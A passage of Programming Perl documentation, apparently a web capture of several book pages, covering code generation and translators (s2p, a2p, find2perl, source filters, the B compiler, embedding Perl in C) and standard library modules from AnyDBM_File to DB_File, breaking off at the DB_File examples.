6.4.1.1 Generating other languages in Perl

Perl is, of course, a text-processing language, and most computer languages are textual. Beyond that, the lack of arbitrary limits together with the various quoting and interpolation mechanisms make it pretty easy to visually isolate the code of the other language you're spitting out. For example, here is a small chunk of s2p, the sed-to-perl translator:

print &q(<<"EOT");
:       #!$bin/perl
:       eval 'exec $bin/perl -S \$0 \${1+"\$@"}'
:               if \$running_under_some_shell;
:
EOT

Here the enclosed text happens to be legal in two languages, both Perl and shell. We've used the trick of putting a colon and a tab on the front of every line, which visually isolates the enclosed code. One variable, $bin, is interpolated in the multi-line quote in two places, and then the string is passed through a function to strip the colon and tab.

Of course, you aren't required to use multi-line quotes. One often sees CGI scripts containing millions of print statements, one per line. It seems a bit like driving to church in an F-16, but hey, if it gets you there....

When you are embedding a large, multi-line quote containing some other language (such as HTML), it's sometimes helpful to pretend you're enclosing Perl into the other language instead:

print <<"END";
stuff
blah blah blah ${ \( EXPR ) } blah blah blah
blah blah blah @{[ LIST ]} blah blah blah
nonsense
END

You can use either of those two tricks to interpolate the value of any scalar EXPR or LIST into a longer string.

6.4.1.2 Generating Perl in other languages

Perl can easily be generated in other languages because it's both concise and malleable. You can pick your quotes not to interfere with the other language's quoting mechanisms. You don't have to worry about indentation, or where you put your line breaks, or whether to backslash your backslashes yet again. You aren't forced to define a package as a single string in advance, since you can slide into your package's namespace repeatedly, whenever you want to evaluate more code in that package.

6.4.2 Translation from Other Languages

One of the very first Perl applications was the sed-to-perl translator, s2p. In fact, Larry delayed the initial release of Perl in order to complete s2p and awk-to-perl (a2p), because he thought they'd improve the acceptance of Perl. Hmm, maybe they did.

6.4.2.1 s2p

The s2p program takes a sed script specified on the command line (or from standard input) and produces a comparable Perl script on the standard output.

Options include:

-D number

Sets debugging flags.

-n

Specifies that this sed script was always invoked as sed -n. Otherwise a switch parser is prepended to the front of the script.

-p

Specifies that this sed script was never invoked as sed -n. Otherwise a switch parser is prepended to the front of the script.

The Perl script produced looks very sed-like, and there may very well be better ways to express what you want to do in Perl. For instance, s2p does not make any use of the split operator, but you might want to.

The Perl script you end up with may be either faster or slower than the original sed script. If you're only interested in speed you'll just have to try it both ways. Of course, if you want to do something sed doesn't do, you have no choice. It's often possible to speed up the Perl script by various methods, such as deleting all references to $\ and chop.

6.4.2.2 a2p

The a2p program takes an awk script specified on the command line (or from standard input) and produces a comparable Perl script on the standard output.

Options include:

-D number

Sets debugging flags.

-F character

Tells a2p that this awk script is always invoked with a -F switch specifying character.

-n fieldlist

Specifies the names of the input fields if input does not have to be split into an array for some programmatic reason. If you were translating an awk script that processes the password file, you might say:

a2p -7 -nlogin.password.uid.gid.gcos.shell.home

Any delimiter may be used to separate the field names.

-number

Causes a2p to assume that input will always have that many fields.

a2p cannot do as good a job translating as a human would, but it usually does pretty well. There are some areas where you may want to examine the Perl script produced and tweak it some. Here are some of them, in no particular order.

There is an awk idiom of putting int(...) around a string expression to force numeric interpretation, even though the argument is always an integer anyway. This is generally unneeded in Perl, but a2p can't tell if the argument is always going to be an integer, so it leaves it in. You may wish to remove it.

Perl differentiates numeric comparison from string comparison. awk has one operator for both that decides at run-time which comparison to do. a2p does not try to do a complete job of awk emulation at this point. Instead it guesses which one you want. It's almost always right, but it can be spoofed. All such guesses are marked with the comment #???. You should go through and check them. You might want to run at least once with Perl's -w switch, which warns you if you use == where you should have used eq.

It would be possible to emulate awk's behavior in selecting string versus numeric operations at run-time by inspection of the operands, but it would be gross and inefficient. Besides, a2p almost always guesses right.

Perl does not attempt to emulate the behavior of awk in which nonexistent array elements spring into existence simply by being referenced. If somehow you are relying on this mechanism to create null entries for a subsequent for...in, they won't be there in Perl.

If a2p makes a split command that assigns to a list of variables that looks like ($Fld1, $Fld2, $Fld3...) you may want to rerun a2p using the -n option mentioned above. This will let you name the fields throughout the script. If it splits to an array instead, the script is probably referring to the number of fields somewhere.

The "exit" statement in awk doesn't necessarily exit; it goes to the END block if there is one. awk scripts that do contortions within the END block to bypass the block under such circumstances can be simplified by removing the conditional in the END block and just exiting directly from the Perl script.

Perl has two kinds of arrays, numerically indexed and associative. awk arrays are usually translated to associative arrays, but if you happen to know that the index is always going to be numeric, you could change the {...} to [...]. Remember that iteration over an associative array is done using the keys function, but iteration over a numeric array isn't. You might need to modify any loop that is iterating over the array in question.

awk starts by assuming OFMT has the value %.6g. Perl starts by assuming its equivalent, $#, to have the value %.20g. You'll want to set $# explicitly if you use the default value of OFMT. (Actually, you probably don't want to set $#, but rather put in printf formats everywhere it matters.)

Near the top of the line loop will be the split operator that is implicit in the awk script. There are times when you can move this operator down past some conditionals that test the entire record, so that the split is not done as often.

For aesthetic reasons you may wish to change the array base $[ from 1 back to Perl's default of 0, but remember to change all array subscripts and all substr and index operations to match.

Cute comments that say:

# Here's a workaround because awk is so dumb.

are, of course, passed through unmodified.

awk scripts are often embedded in a shell script that pipes stuff into and out of awk. Often the shell script wrapper can be incorporated into the Perl script, since Perl can start up pipes into and out of itself, and can do other things that awk can't do by itself.

Scripts that refer to the special variables RSTART and RLENGTH can often be simplified by referring to the variables $`, $&, and $', as long as they are within the scope of the pattern match that sets them.

The produced Perl script may have subroutines defined to deal with awk's semantics regarding "getline" and "print". Since a2p usually picks correctness over efficiency, it is almost always possible to rewrite such code to be more efficient by discarding the semantic sugar.

ARGV[0] translates to $0, but ARGV[n] translates to $ARGV[$n]. A loop that tries to iterate over ARGV[0] won't find it.

NOTE: Storage for the awk syntax tree is currently static, and can run out. You'll need to recompile a2p if that happens.

6.4.2.3 find2perl

The find2perl program is really easy to understand if you already understand the UNIX find(1) program. Just type find2perl instead of find, and give it the same arguments you would give to find. It will spit out an equivalent Perl script.

There are a couple of options you can use that your ordinary find(1) command probably doesn't support:

-tar tarfile

Outputs a tar file much like the -cpio switch of some versions of find.

-eval string

Evaluates the string as a Perl expression, and continues if true.

6.4.2.4 Source filters

The notion of a source filter started with the idea that a script or module should be able to decrypt itself on the fly, like this:

#!/usr/bin/perl
use MyDecryptFilter;
@*x$]`0uN&k^Zx02jZ^X{.?s!(f;9Q/^A^@~~8H]|,%@^P:q-=
...

But the idea grew from there, and now a source filter can be defined to do any transformation on the input text you like. One can now even do things like this:

#!/usr/bin/perl
use Filter::exec "a2p";
1,30{print $1}

Put that together with the notion of the -x switch mentioned at the beginning of this chapter, and you have a general mechanism for pulling any chunk of program out of an article and executing it, regardless of whether it's written in Perl or not. Now that's cooperation.

The Filter module is available from CPAN.

6.4.3 Translation to Other Languages

Historically, the Perl interpreter has been rather self-contained. When Perl was redesigned for Version 5, however, one of the requirements was that it be possible to write extension modules that could traverse the parsed syntax tree and emit code in other languages, either low-level or high-level. This has now come to pass.

More precisely, this is now coming to pass. Malcolm Beattie has been developing a "real compiler" for Perl. As of this writing, it's in Alpha 2 state, which means it mostly works, except for the really hard bits. The compiler consists of an ordinary Perl parser and interpreter (since you need to be able to execute BEGIN blocks to compile Perl), plus a set of modules under the name of B, which is short for both "Backend" and "Beattie". You don't actually invoke the B module directly though. Instead you invoke a particular backend via the O module, which pulls in the B module for you. Typically you invoke the O module right on the command line with the -M switch, so a compilation command might look like this:

perl -MO=C foo.pl >foo.c

There are three backends at the moment. The C backend rather woodenly spits out C calls into the ordinary Perl interpreter, but it can translate almost anything except the most egregious abuses of the dynamic capabilities of the interpreter. The Bytecode module is also fairly complete, and spits out an external Perl bytecode representation, which can then be read back in and executed by a suitably clued version of Perl. Finally, the CC backend attempts to translate into more idiomatic C with a lot of optimization. Obviously, that's a bit harder to do than the other thing. Nevertheless, it already works on a majority of the Perl regression tests. It's possible with some care to get C code that runs considerably faster than Perl 5's interpreter, which is no slouch to begin with. And Malcolm hasn't put in all the optimizations he wants to yet.

This is an ongoing topic of research, but you'll want to keep track of it. You are quite likely to be using this someday soon, if you aren't already. Look for it on CPAN of course, if it's not already a part of the standard Perl distribution by the time you read this.

6.4.4 Embedding Perl in C and C++

Another part of the design of Perl 5 was that it be possible to embed a Perl interpreter in a C or C++ program. And in fact, the ordinary perl executable pretends to have an embedded interpreter in it; the main() function essentially does this:

PerlInterpreter *my_perl;

int main(int argc, char **argv)
{
    int exitstatus;

    my_perl = perl_alloc();
    perl_construct( my_perl );

    exitstatus = perl_parse( my_perl, xs_init, argc, argv,
                                          (char **) NULL );
    if (exitstatus)
        exit( exitstatus );

    exitstatus = perl_run( my_perl );

    perl_destruct( my_perl );
    perl_free( my_perl );

    exit(exitstatus);
}

The important parts are the calls to perl_parse() and perl_run(), which respectively compile and run the program. If you were embedding Perl in your own program, you might replace the call to perl_run() with calls to perl_call_sv() function, which calls individual subroutines rather than the program as a whole. Or you can do both, if the main script contains initialization code as well as subroutine definitions.

There are many other useful entry points into the interpreter, such as perl_eval_sv(), which evaluates a string, but this chapter is already getting pretty long, and the fact of the matter is that there is extensive online documentation for the internals of Perl. To include it here would make this book even more unwieldy than it is, and most people who would be embedding Perl aren't scared of online documentation. See the perlembed(3) manpage for more on embedding Perl interpreters in your program.

A number of programs in the real world already have Perl embedded in them - the authors know of several proprietary products shipping with embedded Perl interpreters. There are also a couple of modules for the Apache HTTP servers that use an embedded Perl interpreter to avoid process startup costs on CGI-like scripting. And then there's the version of Berkeley's nvi editor with a Perl engine in it. Watch out, emacs, you've got company. :-)

6.4.5 Embedding C and C++ in Perl

If a respectable number of programs embed a Perl interpreter, then a veritable flood of extension modules embed C and C++ into Perl. Again, the Perl distribution itself does this with many of its standard extension modules, including DB_File, DynaLoader, Fcntl, FileHandle, GDBM_File, NDBM_File, ODBM_File, POSIX, Safe, SDBM_File, and Socket. And many of the modules on CPAN do this. So if you decide to do it yourself, you won't feel like you're researching a Ph.D. dissertation.

And again, we only have space to give you teasers for the online documentation, which is exhaustively extensive. We recommend you start with the perlxstut(3) manpage, which is a tutorial on the XS language, a preprocessor that spits out the glue routines you need to do the "impedance matching" between Perl and C or C++. You'll also be interested in perlxs(3), perlguts(3), and perlcall(3).

And once again, let us reiterate that your best resource is the Perl community itself. They invented a lot of this stuff, and are emotionally committed to making you like it, whether you like it or not. You'd better cooperate.

Previous: 6.3 Cooperating with Strangers | Programming Perl | Next: 7. The Standard Perl Library
6.3 Cooperating with Strangers | Book Index | 7. The Standard Perl Library


[Chapter 7] 7.2.1 AnyDBM_File - Provide Framework for Multiple DBMs

Programming PerlSearch this book

7.2.1 AnyDBM_File - Provide Framework for Multiple DBMs

use AnyDBM_File;

This module is a "pure virtual base class" - it has nothing of its own. It's just there to inherit from the various DBM packages. By default it inherits from NDBM_File for compatibility with earlier versions of Perl. If it doesn't find NDBM_File, it looks for DB_File, GDBM_File, SDBM_File (which is always there - it comes with Perl), and finally ODBM_File.

Perl's dbmopen function (which now exists only for backward compatibility) actually just calls tie to bind a hash to AnyDBM_File. The effect is to bind the hash to one of the specific DBM classes that AnyDBM_File inherits from.

You can override the defaults and determine which class dbmopen will tie to. Do this by redefining @ISA:

@AnyDBM_File::ISA = qw(DB_File GDBM_File NDBM_File);

Note, however, that an explicit use takes priority over the ordering of @ISA, so that:

use GDBM_File;

will cause the next dbmopen to tie your hash to GDBM_File.

You can tie hash variables directly to the desired class yourself, without using dbmopen or AnyDBM_File. For example, by using multiple DBM implementations, you can copy a database from one format to another:

use Fcntl;         # for O_* values
use NDBM_File;
use DB_File;
tie %oldhash, "NDBM_File", $old_filename, O_RDWR;
tie %newhash, "DB_File",   $new_filename, O_RDWR|O_CREAT|O_EXCL, 0644;
while (($key,$val) = each %oldhash) {
    $newhash{$key} = $val;
}

7.2.1.1 DBM comparisons

Here's a table of the features that the different DBMish packages offer:

Feature | ODBM | NDBM | SDBM | GDBM | BSD-DB
Linkage comes with Perl | Yes | Yes | Yes | Yes | Yes
Source bundled with Perl | No | No | Yes | No | No
Source redistributable | No | No | Yes | GPL | Yes
Often comes with UNIX | Yes | Yes[1] | No | No | No
Builds OK on UNIX | N/A | N/A | Yes | Yes | Yes[2]
Code size | Varies[3] | Varies[3] | Small | Big | Big
Disk usage | Varies[3] | Varies[3] | Small | Big | OK[4]
Speed | Varies[3] | Varies[3] | Slow | OK | Fast
FTPable | No | No | Yes | Yes | Yes
Easy to build | N/A | N/A | Yes | Yes | OK[5]
Block size limits | 1k | 4k | 1k[6] | None | None
Byte-order independent | No | No | No | No | Yes
User-defined sort order | No | No | No | No | Yes
Wildcard lookups | No | No | No | No | Yes

[1] On mixed-universe machines, may be in the BSD compatibility library, which is often shunned.

[2] Providing you have an ANSI C compiler.

[3] Depends on how much your vendor has "tweaked" it.

[4] Can be trimmed if you compile for one access method.

[5] See the DB_File library module. Requires symbolic links.

[6] By default, but can be redefined (at the expense of compatibility with older files).

7.2.1.2 See also

Relevant library modules include: DB_File, GDBM_File, NDBM_File, ODBM_File, and SDBM_File. Related manpages: dbm(3), ndbm(3). Tied variables are discussed extensively in Chapter 5, and the dbmopen entry in Chapter 3, Functions, may also be helpful. You can pick up the unbundled modules from the src/misc/ directory on your nearest CPAN site. Here are the most popular ones, but note that their version numbers may have changed by the time you read this:

http://www.perl.com/CPAN/src/misc/db.1.85.tar.gz
http://www.perl.com/CPAN/src/misc/gdbm-1.7.3.tar.gz

Previous: 7.2 Library Modules | Programming Perl | Next: 7.2.2 AutoLoader - Load Functions Only on Demand
7.2 Library Modules | Book Index | 7.2.2 AutoLoader - Load Functions Only on Demand


[Chapter 7] 7.2.2 AutoLoader - Load Functions Only on Demand

Programming PerlSearch this book

7.2.2 AutoLoader - Load Functions Only on Demand

package GoodStuff;
use Exporter;
use AutoLoader;
@ISA = qw(Exporter AutoLoader);

The AutoLoader module provides a standard mechanism for delayed loading of functions stored in separate files on disk. Each file has the same name as the function (plus a .al), and comes from a directory named after the package (with the auto/ directory). For example, the function named GoodStuff::whatever() would be loaded from the file auto/GoodStuff/whatever.al.

A module using the AutoLoader should have the special marker __END__ prior to the actual subroutine declarations. All code before this marker is loaded and compiled when the module is used. At the marker, Perl stops parsing the file.

When a subroutine not yet in memory is called, the AUTOLOAD function attempts to locate it in a directory relative to the location of the module file itself. As an example, assume POSIX.pm is located in /usr/local/lib/perl5/POSIX.pm. The AutoLoader will look for the corresponding subroutines for this package in /usr/ local/lib/perl5/auto/POSIX/*.al.

Lexicals declared with my in the main block of a package using the AutoLoader will not be visible to autoloaded functions, because the given lexical scope ends at the __END__ marker. A module using such variables as file-scoped globals will not work properly under the AutoLoader. Package globals must be used instead. When running under use strict, the use vars pragma may be employed in such situations as an alternative to explicitly qualifying all globals with the package name. Package variables predeclared with this pragma will be accessible to any autoloaded routines, but of course will not be invisible outside the module file.

The AutoLoader is a counterpart to the SelfLoader module. Both delay the loading of subroutines, but the SelfLoader accomplishes this by storing the subroutines right there in the module file rather than in separate files elsewhere. While this avoids the use of a hierarchy of disk files and the associated I/O for each routine loaded, the SelfLoader suffers a disadvantage in the one-time parsing of the lines after __DATA__, after which routines are cached. The SelfLoader can also handle multiple packages in a file.

AutoLoader, on the other hand, only reads code as it is requested, and in many cases should be faster. But it requires a mechanism like AutoSplit to be used to create the individual files.

On systems with restrictions on file name length, the file corresponding to a subroutine may have a shorter name than the routine itself. This can lead to conflicting filenames. The AutoSplit module will warn of these potential conflicts when used to split a module.

See the discussion of autoloading in Chapter 5. Also see the AutoSplit module, a utility that automatically splits a module into a collection of files for autoloading.

Previous: 7.2.1 AnyDBM_File - Provide Framework for Multiple DBMs | Programming Perl | Next: 7.2.3 AutoSplit - Split a Module for Autoloading
7.2.1 AnyDBM_File - Provide Framework for Multiple DBMs | Book Index | 7.2.3 AutoSplit - Split a Module for Autoloading


[Chapter 7] 7.2.3 AutoSplit - Split a Module for Autoloading

Programming PerlSearch this book

7.2.3 AutoSplit - Split a Module for Autoloading

# from a program
use AutoSplit;
autosplit_modules(@ARGV)

# or from the command line
perl -MAutoSplit -e 'autosplit(FILE, DIR, KEEP, CHECK, MODTIME)' ...

# another interface
perl -MAutoSplit -e 'autosplit_lib_modules(@ARGV)' ...

This function splits up your program or module into files that the AutoLoader module can handle. It is mainly used to build autoloading Perl library modules, especially complex ones like POSIX. It is used by both the standard Perl libraries and by the MakeMaker module to automatically configure libraries for autoloading.

The autosplit() interface splits the specified FILE into a hierarchy rooted at the directory DIR. It creates directories as needed to reflect class hierarchy. It then creates the file autosplit.ix, which acts as both a forward declaration for all package routines and also as a timestamp for when the hierarchy was last updated.

The remaining three arguments to autosplit() govern other options to the autosplitter. If the third argument, KEEP, is false, then any pre-existing .al files in the autoload directory are removed if they are no longer part of the module (obsoleted functions). The fourth argument, CHECK, instructs autosplit() to check the module currently being split to ensure that it really does include a use specification for the AutoLoader module, and skips the module if AutoLoader is not detected. Lastly, the MODTIME argument specifies that autosplit() is to check the modification time of the module against that of the autosplit.ix file, and only split the module if it is newer.

Here's a typical use of AutoSplit by the MakeMaker utility via the command line:

perl -MAutoSplit -e 'autosplit($ARGV[0], $ARGV[1], 0, 1, 1)'

MakeMaker defines this as a make macro, and it is invoked with file and directory arguments. The autosplit() function splits the named file into the given directory and deletes obsolete .al files, after checking first that the module does use the AutoLoader and ensuring that the module isn't already split in its current form.

The autosplit_lib_modules() form is used in the building of Perl. It takes as input a list of files (modules) that are assumed to reside in a directory lib/ relative to the current directory. Each file is sent to the autosplitter one at a time, to be split into the directory lib/auto/.

In both usages of the autosplitter, only subroutines defined following the Perl special marker __END__ are split out into separate files. Routines placed prior to this marker are not autosplit, but are forced to load when the module is first required.

Currently, AutoSplit cannot handle multiple package specifications within one file.

AutoSplit will inform the user if it is necessary to create the top-level directory specified in the invocation. It's better if the script or installation process that invokes AutoSplit has created the full directory path ahead of time. This warning may indicate that the module is being split into an incorrect path.

AutoSplit will also warn the user of subroutines whose names cause potential naming conflicts on machines with severely limited (eight characters or less) filename length. Since the subroutine name is used as the filename, these warnings can aid in portability to such systems.

Warnings are issued and the file skipped if AutoSplit cannot locate either the __END__ marker or a specification of the form package Name;. AutoSplit will also complain if it can't create directories or files.

Previous: 7.2.2 AutoLoader - Load Functions Only on Demand | Programming Perl | Next: 7.2.4 Benchmark - Check and Compare Running Times of Code
7.2.2 AutoLoader - Load Functions Only on Demand | Book Index | 7.2.4 Benchmark - Check and Compare Running Times of Code


[Chapter 7] 7.2.4 Benchmark - Check and Compare Running Times of Code

Programming PerlSearch this book

7.2.4 Benchmark - Check and Compare Running Times of Code

use Benchmark;

# timeit():  run $count iterations of the given Perl code, and time it
$t = timeit($count, 'CODE');  # $t is now a Benchmark object

# timestr():  convert Benchmark times to printable strings
print "$count loops of 'CODE' took:", timestr($t), "\n";

# timediff():  calculate the difference between two times
$t = timediff($t1 - $t2);

# timethis():  run "code" $count times with timeit(); also, print out a
#     header saying "timethis $count: "
$t = timethis($count, "CODE");

# timethese():  run timethis() on multiple chunks of code
@t = timethese($count, {
    'Name1' => '...CODE1...',
    'Name2' => '...CODE2...',
});

# new method:  return the current time
$t0 = new Benchmark;
# ... your CODE here ...
$t1 = new Benchmark;
$td = timediff($t1, $t0);
print "the code took: ", timestr($td), "\n";

# debug method:  enable or disable debugging
Benchmark->debug(1);
$t = timeit(10, ' 5 ** $Global ');
Benchmark->debug(0);

The Benchmark module encapsulates a number of routines to help you figure out how long it takes to execute some code a given number of times within a loop.

For the timeit() routine, $count is the number of times to run the loop. CODE is a string containing the code to run. timeit() runs a null loop with $count iterations, and then runs the same loop with your code inserted. It reports the difference between the times of execution.

For timethese(), a loop of $count iterations is run on each code chunk separately, and the results are reported separately. The code to run is given as a hash with keys that are names and values that are code. timethese() is handy for quick tests to determine which way of doing something is faster. For example:

$ perl -MBenchmark -Minteger
timethese(100000, { add => '$i += 2', inc => '$i++; $i++' });
__END__
Benchmark: timing 1000000 iterations of add, inc...
       add:  4 secs ( 4.52 usr  0.00 sys =  4.52 cpu)
       inc:  6 secs ( 5.32 usr  0.00 sys =  5.32 cpu)

The following routines are exported into your namespace if you use the Benchmark module:

timeit()
timethis()
timethese()
timediff()
timestr()

The following routines will be exported into your namespace if you specifically ask that they be imported:

clearcache()     # clear just the cache element indexed by $key
clearallcache()  # clear the entire cache
disablecache()   # do not use the cache
enablecache()    # resume caching

7.2.4.1 Notes

Code is executed in the caller's package.

The null loop times are cached, the key being the number of iterations. You can control caching with calls like these:

clearcache($key);
clearallcache();
disablecache();
enablecache();

Benchmark inherits only from the Exporter class.

The elapsed time is measured using time(2) and the granularity is therefore only one second. Times are given in seconds for the whole loop (not divided by the number of iterations). Short tests may produce negative figures because Perl can appear to take longer to execute the empty loop than a short test.

The user and system CPU time is measured to millisecond accuracy using times(3). In general, you should pay more attention to the CPU time than to elapsed time, especially if other processes are running on the system. Also, elapsed times of five seconds or more are needed for reasonable accuracy.

Because you pass in a string to be evaled instead of a closure to be executed, lexical variables declared with my outside of the eval are not visible.

Previous: 7.2.3 AutoSplit - Split a Module for Autoloading | Programming Perl | Next: 7.2.5 Carp - Generate Error Messages
7.2.3 AutoSplit - Split a Module for Autoloading | Book Index | 7.2.5 Carp - Generate Error Messages


[Chapter 7] 7.2.5 Carp - Generate Error Messages

Programming PerlSearch this book

7.2.5 Carp - Generate Error Messages

use Carp;
carp "Be careful!";         # warn of errors (from perspective of caller)
croak "We're outta here!";  # die of errors (from perspective of caller)
confess "Bye!";             # die of errors with stack backtrace

carp() and croak() behave like warn and die, respectively, except that they report the error as occurring not at the line of code where they are invoked, but at a line in one of the calling routines. Suppose, for example, that you have a routine goo() containing an invocation of carp(). In that case - and assuming that the current stack shows no callers from a package other than the current one - carp() will report the error as occurring where goo() was called. If, on the other hand, callers from different packages are found on the stack, then the error is reported as occurring in the package immediately preceding the package in which the carp() invocation occurs. The intent is to let library modules act a little more like built-in functions, which always report errors where you call them from.

confess() is like die except that it prints out a stack backtrace. The error is reported at the line where confess() is invoked, not at a line in one of the calling routines.

Previous: 7.2.4 Benchmark - Check and Compare Running Times of Code | Programming Perl | Next: 7.2.6 Config - Access Perl Configuration Information
7.2.4 Benchmark - Check and Compare Running Times of Code | Book Index | 7.2.6 Config - Access Perl Configuration Information


[Chapter 7] 7.2.6 Config - Access Perl Configuration Information

Programming PerlSearch this book

7.2.6 Config - Access Perl Configuration Information

use Config;
if ($Config{cc} =~ /gcc/) {
    print "built by gcc\n";
}

use Config qw(myconfig config_sh config_vars);
print myconfig();
print config_sh();
config_vars(qw(osname archname));

The Config module contains all the information that the Configure script had to figure out at Perl build time (over 450 values).[7]

[7] Perl was written in C, not because it's a portable language, but because it's a ubiquitous language. A bare C program is about as portable as Chuck Yeager on foot.

Shell variables from the config.sh file (written by Configure) are stored in a readonly hash, %Config, indexed by their names. Values set to the string "undef" in config.sh are returned as undefined values. The Perl exists function should be used to check whether a named variable exists.

myconfig

Returns a textual summary of the major Perl configuration values. See also the explanation of Perl's -V command-line switch in Chapter 6, Social Engineering.

config_sh

Returns the entire Perl configuration information in the form of the original config.sh shell variable assignment script.

config_vars(@names)

Prints to STDOUT the values of the named configuration variables. Each is printed on a separate line in the form:

name='value';

Names that are unknown are output as name='UNKNOWN';.

Here's a more sophisticated example using %Config:

use Config;

defined $Config{sig_name} or die "No sigs?";
foreach $name (split(' ', $Config{sig_name})) {
    $signo{$name} = $i;
    $signame[$i] = $name;
    $i++;
}

print "signal #17 = $signame[17]\n";
if ($signo{ALRM}) {
    print "SIGALRM is $signo{ALRM}\n";
}

Because configuration information is not stored within the Perl executable itself, it is possible (but unlikely) that the information might not relate to the actual Perl binary that is being used to access it. The Config module checks the Perl version number when loaded to try to prevent gross mismatches, but can't detect subsequent rebuilds of the same version.

Previous: 7.2.5 Carp - Generate Error Messages | Programming Perl | Next: 7.2.7 Cwd - Get Pathname of Current Working Directory
7.2.5 Carp - Generate Error Messages | Book Index | 7.2.7 Cwd - Get Pathname of Current Working Directory


[Chapter 7] 7.2.7 Cwd - Get Pathname of Current Working Directory

Programming PerlSearch this book

7.2.7 Cwd - Get Pathname of Current Working Directory

use Cwd;
$dir = cwd();           # get current working directory safest way

$dir = getcwd();        # like getcwd(3) or getwd(3)

$dir = fastcwd();       # faster and more dangerous

use Cwd 'chdir';        # override chdir; keep PWD up to date
chdir "/tmp";
print $ENV{PWD};        # prints "/tmp"

cwd() gets the current working directory using the most natural and safest form for the current architecture. For most systems it is identical to `pwd` (but without the trailing line terminator).

getcwd() does the same thing by re-implementing getcwd(3) or getwd(3) in Perl.

fastcwd() looks the same as getcwd(), but runs faster. It's also more dangerous because you might chdir out of a directory that you can't chdir back into.

It is recommended that one of these functions be used in all code to ensure portability because the pwd program probably only exists on UNIX systems.

If you consistently override your chdir built-in function in all packages of your program, then your PWD environment variable will automatically be kept up to date. Otherwise, you shouldn't rely on it. (Which means you probably shouldn't rely on it.)

Previous: 7.2.6 Config - Access Perl Configuration Information | Programming Perl | Next: 7.2.8 DB_File - Access to Berkeley DB
7.2.6 Config - Access Perl Configuration Information | Book Index | 7.2.8 DB_File - Access to Berkeley DB


[Chapter 7] 7.2.8 DB_File - Access to Berkeley DB

Programming PerlSearch this book

7.2.8 DB_File - Access to Berkeley DB

use DB_File;

# brackets in following code indicate optional arguments
[$X =] tie %hash,  "DB_File", $filename [, $flags, $mode, $DB_HASH];
[$X =] tie %hash,  "DB_File", $filename, $flags, $mode, $DB_BTREE;
[$X =] tie @array, "DB_File", $filename, $flags, $mode, $DB_RECNO;

$status = $X->del($key [, $flags]);
$status = $X->put($key, $value [, $flags]);
$status = $X->get($key, $value [, $flags]);
$status = $X->seq($key, $value [, $flags]);
$status = $X->sync([$flags]);
$status = $X->fd;

untie %hash;
untie @array;

DB_File is the most flexible of the DBM-style tie modules. It allows Perl programs to make use of the facilities provided by Berkeley DB (not included). If you intend to use this module you should really have a copy of the Berkeley DB manual page at hand. The interface defined here mirrors the Berkeley DB interface closely.

Berkeley DB is a C library that provides a consistent interface to a number of database formats. DB_File provides an interface to all three of the database (file) types currently supported by Berkeley DB.

The file types are:

DB_HASH

Allows arbitrary key/data pairs to be stored in data files. This is equivalent to the functionality provided by other hashing packages like DBM, NDBM, ODBM, GDBM, and SDBM. Remember, though, the files created using DB_HASH are not binary compatible with any of the other packages mentioned. A default hashing algorithm that will be adequate for most applications is built into Berkeley DB. If you do need to use your own hashing algorithm, it's possible to write your own and have DB_File use it instead.

DB_BTREE

The btree format allows arbitrary key/data pairs to be stored in a sorted, balanced binary tree. It is possible to provide a user-defined Perl routine to perform the comparison of keys. By default, though, the keys are stored in lexical order. This is useful for providing an ordering for your hash keys, and may be used on hashes that are only in memory and never go to disk.

DB_RECNO

DB_RECNO allows both fixed-length and variable-length flat text files to be manipulated using the same key/value pair interface as in DB_HASH and DB_BTREE. In this case the key will consist of a record (line) number.

7.2.8.1 How does DB_File interface to Berkeley DB?

DB_File gives access to Berkeley DB files using Perl's tie function. This allows DB_File to access Berkeley DB files using either a hash (for DB_HASH and DB_BTREE file types) or an ordinary array (for the DB_RECNO file type).

In addition to the tie interface, it is also possible to use most of the functions provided in the Berkeley DB API.

7.2.8.2 Differences from Berkeley DB

Berkeley DB uses the function dbopen(3) to open or create a database. Below is the C prototype for dbopen(3).

DB *
dbopen (const char *file, int flags, int mode,
        DBTYPE type, const void *openinfo)

The type parameter is an enumeration selecting one of the three interface methods, DB_HASH, DB_BTREE or DB_RECNO. Depending on which of these is actually chosen, the final parameter, openinfo, points to a data structure that allows tailoring of the specific interface method.

This interface is handled slightly differently in DB_File. Here is an equivalent call using DB_File.

tie %array, "DB_File", $filename, $flags, $mode, $DB_HASH;

The filename, flags, and mode parameters are the direct equivalent of their dbopen(3) counterparts. The final parameter $DB_HASH performs the function of both the type and openinfo parameters in dbopen(3).

In the example above $DB_HASH is actually a reference to a hash object. DB_File has three of these predefined references. Apart from $DB_HASH, there are also $DB_BTREE and $DB_RECNO.

The keys allowed in each of these predefined references are limited to the names used in the equivalent C structure. So, for example, the $DB_HASH reference will only allow keys called bsize, cachesize, ffactor, hash, lorder, and nelem.

To change one of these elements, just assign to it like this:

$DB_HASH->{cachesize} = 10_000;

7.2.8.3 Array offsets

In order to make RECNO more compatible with Perl, the array offset for all RECNO arrays begins at 0 rather than 1 as in Berkeley DB.

7.2.8.4 In-memory databases

Berkeley DB allows the creation of in-memory databases by using NULL (that is, a (char *)0 in C) in place of the filename. DB_File uses undef instead of NULL to provide this functionality.

use strict;
use Fcntl;
use DB_File;

my ($k, $v, %hash);

tie(%hash, 'DB_File', undef, O_RDWR|O_CREAT, 0, $DB_BTREE)
    or die "can't tie DB_File: $!":

foreach $k (keys %ENV) {
    $hash{$k} = $ENV{$k};
}

# this will now come out in sorted lexical order
# without the overhead of sorting the keys
while  (($k,$v) = each %hash) {
    print "$k=$v\n";
}

7.2.8.5 Using the Berkeley DB interface directly

In addition to accessing Berkeley DB using a tied hash or array, you can also make direct use of most functions defined in the Berkeley DB documentation.

To do this you need to remember the return value from tie, or use the tied function to get at it yourself later on.

$db = tie %hash, "DB_File", "filename";

Once you have done that, you can access the Berkeley DB API functions directly.

$db->put($key, $value, R_NOOVERWRITE);  # invoke the DB "put" function

All the functions defined in the dbopen(3) manpage are available except for close() and dbopen() itself. The DB_File interface to these functions mirrors the way Berkeley DB works. In particular, note that all these functions return only a status value. Whenever a Berkeley DB function returns data via one of its parameters, the DB_File equivalent does exactly the same thing.

All the constants defined in the dbopen manpage are also available.

Below is a list of the functions available. (The comments only tell you the differences from the C version.)

get

The $flags parameter is optional. The value associated with the key you request is returned in the $value parameter.

put

As usual the flags parameter is optional. If you use either the R_IAFTER or R_IBEFORE flags, the $key parameter will be set to the record number of the inserted key/value pair.

del

The $flags parameter is optional.

fd

No differences encountered.

seq

The $flags parameter is optional. Both the $key and $value parameters will be set.

sync

The $flags parameter is optional.

7.2.8.6 Examples

Here are a few examples. First, using $DB_HASH:

use DB_File;
use Fcntl;

